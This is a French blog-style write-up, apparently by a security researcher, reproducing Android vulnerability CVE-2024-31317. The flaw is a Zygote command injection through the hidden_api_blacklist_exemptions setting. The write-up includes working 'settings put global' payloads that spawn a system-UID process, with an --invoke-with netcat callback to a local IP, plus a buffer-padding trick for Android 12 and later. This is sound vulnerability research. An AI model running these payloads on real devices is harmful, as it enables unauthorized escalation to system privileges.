fuhei/cve-2024-31317CVE-2024-31317
Il y a deux jours, j'ai vu un article d'analyse de la vulnérabilité CVE-2024-31317 sur le compte public JD. En le lisant, j'ai trouvé cela assez intéressant. De plus, les solutions principales actuelles pour les systèmes embarqués automobiles sont toutes basées sur Android et se trouvent dans la portée limitée de cette vulnérabilité, j'ai donc commencé à la reproduire.
Comme il s'agit d'une escalade de privilèges au niveau utilisateur, il faut d'abord obtenir les permissions de l'utilisateur correspondant. Par conséquent, dans le scénario de l'Internet des véhicules, il existe certaines limitations. L'approche actuelle courante consiste à restreindre les APK avec des signatures inconnues et à ne pas pouvoir accéder directement au mode ingénieur et à ADB. Cependant, combiné à d'autres vulnérabilités ou astuces, cela reste assez fiable, car System peut faire beaucoup de choses. De plus, il faut noter que cette vulnérabilité nécessite la permission WRITE_SECURE_SETTINGS. Par défaut, ADB dispose de cette permission. Une fois le mode ingénieur obtenu, l'escalade de privilèges est assez confortable. Si ADB n'est pas disponible directement, il faut combiner avec d'autres vulnérabilités pour l'obtenir.
La vulnérabilité est une injection de commande. La difficulté globale de l'analyse est faible, mais avant l'analyse, il est nécessaire de comprendre Zygote. Zygote fonctionne comme un démon, peut créer des processus d'application par fork, et accepte des commandes de socket UNIX sur /dev/socket/zygote. Chaque commande commence par un nombre décimal, suivi du nombre de paramètres correspondant.
8 [command #1 arg count]
--runtime-args [arg #1: vestigial, needed for process spawn]
--setuid=10266 [arg #2: process UID]
--setgid=10266 [arg #3: process GID]
--target-sdk-version=31 [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread [arg #8: Java entry point]
3 [command #2 arg count]
--set-api-denylist-exemptions [arg #1: special argument, don't spawn process]
LClass1;->method1( [args #2, #3: denylist entries]
LClass1;->field1:
Le fichier de diff montre que la modification consiste à ajouter un commentaire de saut de ligne, ce qui prouve indirectement que dans les anciennes versions, nous pouvions injecter des commandes via des sauts de ligne pour lancer de nouveaux processus.
En continuant à remonter l'appel de cette fonction, on peut voir qu'à partir de la lecture initiale de la valeur HIDDEN_API_BLACKLIST_EXEMPTIONS jusqu'à toutes les transmissions ultérieures, il n'y a aucune opération de filtrage. Cela signifie que nous pouvons directement injecter des paramètres arbitraires.
Il est donc naturel de penser que si nous pouvons contrôler la valeur de HIDDEN_API_BLACKLIST_EXEMPTIONS, nous pouvons injecter nos paramètres personnalisés. Précédemment mentionné, pour définir cette valeur, nous avons besoin de la permission WRITE_SECURE_SETTINGS. ADB dispose de cette permission par défaut, il suffit d'exécuter la commande settings put global hidden_api_blacklist_exemptions command via la commande settings intégrée au système. Ainsi, nous pouvons essayer d'injecter un nouveau processus de la manière suivante :
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
8
--runtime-args
--setuid=1000
--setgid=1000
--nice-name=com.android.settings
--app-data-dir=/data/user/0/com.android.settings
--package-name=com.android.settings
--seinfo=platform:system_app:targetSdkVersion=29:complete
android.app.ActivityThread"
Mais cela ne semble pas répondre à nos besoins, car nous ne pouvons toujours pas exécuter de commandes. En analysant, on découvre que le paramètre invokeWith peut permettre l'exécution de commandes.
Ensuite, c'est très simple, nous n'avons qu'à construire une commande similaire à ce qui suit :
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
6
--runtime-args
--setuid=1000
--setgid=1000
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
À ce moment, on constate que cela ne se déclenche pas avec succès. En regardant logcat, on voit le message suivant, indiquant qu'il faut le mode debug. Alors, comment faire pour qu'il entre en mode debug ?
En continuant à consulter le code, on apprend qu'il existe un paramètre runtime-flags au démarrage, utilisé pour configurer les attributs de debug.
Les paramètres configurables sont les suivants :
Ainsi, nous n'avons qu'à ajouter ce paramètre au démarrage et activer tous les attributs de debug. La commande modifiée est la suivante :
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
7
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=43267
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
Après exécution, nc a capturé avec succès la requête réseau.
Sous Android 11 et inférieurs, la méthode ci-dessus peut être utilisée pour une exploitation simple. Mais à partir d'Android 12, Google a implémenté un analyseur de commandes C++ à chemin rapide pour renforcer l'analyseur Java de Zygote, et a utilisé la nouvelle classe NativeCommandBuffer pour accomplir cette tâche. Après avoir analysé toutes les lignes de commande, NativeCommandBuffer jette tout le contenu suivant et relit la prochaine commande depuis le socket. Cela signifie que lorsque nous injectons deux commandes, il jette notre contenu injecté, empêchant l'injection de se produire. Il faut donc une méthode pour contourner le premier appel à read(). Ici, on se réfère principalement à la méthode de l'auteur original, qui consiste à insérer un grand nombre de virgules à la fin, de sorte que maybeSetApiDenylistExemptions() passe beaucoup de temps à boucler après l'écriture, augmentant ainsi l'intervalle de temps. La logique principale est que maybeSetApiDenylistExemptions() appelle plusieurs fois state.mZygoteOutputWriter.write(), mais ces appels ne sont pas directement mappés à l'écriture du socket, car mZygoteOutputWriter hérite de BufferedWriter qui agrège les données dans un tampon interne avant d'écrire sur le transport sous-jacent. Ce mécanisme fournit une méthode toute faite pour émettre deux écritures de socket avec un délai approprié entre elles. La taille du tampon de BufferedWriter est de 8192 octets, bien inférieure à celle du tampon de Zygote. Il suffit donc de remplir ce tampon à 8192 octets avant d'insérer la commande malveillante injectée, forçant ainsi BufferedWriter à écrire d'abord ces données.
Cet article aurait dû être écrit depuis longtemps, mais j'étais occupé et j'ai oublié 😷 De plus, lors du concours Zhuwang, j'ai utilisé cette vulnérabilité pour gagner pas mal de points. Récemment, en travaillant sur un projet de test qui se trouve être un système embarqué Android pour voiture, je me suis souvenu de ce blog écrit à moitié et j'ai rapidement noté ce que je pouvais encore me rappeler. Je tiens également à remercier le grand flanker pour son aide lors de la reproduction de cette vulnérabilité, m'évitant de nombreux pièges.